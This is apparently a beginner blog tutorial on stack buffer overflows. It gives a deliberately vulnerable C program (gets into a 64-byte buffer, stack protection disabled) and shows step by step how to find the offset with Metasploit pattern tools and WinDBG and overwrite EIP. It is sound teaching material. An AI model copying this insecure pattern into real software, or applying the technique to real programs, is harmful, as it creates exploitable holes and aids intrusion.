Introduction

In C++ a buffer is commonly used for storing data and when a user can input more data than the buffer can handle an buffer overflow occurs. You can imagine a buffer as glass of water which can be filled with specific amount of water otherwise it will start spilling.

If you still don’t understand buffer overflow don’t worry in this article I’ll go through buffer overflow in the simplest way possible.

Buffer Overflow Code

As mentioned in the introduction a buffer is commonly used for storing specific length of data when a user can input more data than the buffer can handle a buffer overflow occurs. This will allow the user to override the return address which EIP register needs to exit the function. Here’s an example of buffer overflow code:

Buffer Overlow Code
#include <stdio.h>
#include <string.h>
#include <windows.h>
 
int main(int argc, char *argv[])
{
    char buffer[64];
    gets(buffer);
    printf("%s\n", buffer);
    return EXIT_SUCCESS;
}
Compile Command
 gcc -m32 .\main.cpp -o main.exe -fno-stack-protector

At line 7 a buffer with 64 bytes is defined but since there is no validation the user can input as much data as they want to input and that will allow them to override the return address. It’s also important to mention that -fno-stack-protector parameter disables stack protection which will help us with learning buffer overflow.

Exploitation

Here’s a step-by-step guide to buffer overflow the executable program compiled above.

  1. Use msf-pattern_create to find offset of buffer overflow.

    msf-pattern_create
    kali@kali:~$ msf-pattern_create -l 100 
    Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
  2. Open WinDBG

  3. Go to File Launch Executable.

  4. Select executable program.

  5. Enter the long generated string from Kali system.

  6. Inside WinDBG copy the overflow address.

  7. To find the buffer overflow offset use the following command on Kali system.

    Finding Offset
    kali@kali:~$ msf-pattern_offset -l 100 -q 63413563
    [*] Exact match at offset 76
  8. You can now generate the following payload inside Kali system.

    Generating Exploitation String
    kali@kali:~$ python3 -c "print('A' * 76 + 'B' * 4)"
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
  9. The payload will now display the address 0x42424242 because we control EIP register.

Conclusion

Buffer Overflow can be a difficult concept to learn as a beginner but after learning it you will feel much better about yourself. I highly recommend going through the Exploitation section hands on because it will help you with really understanding buffer overflow.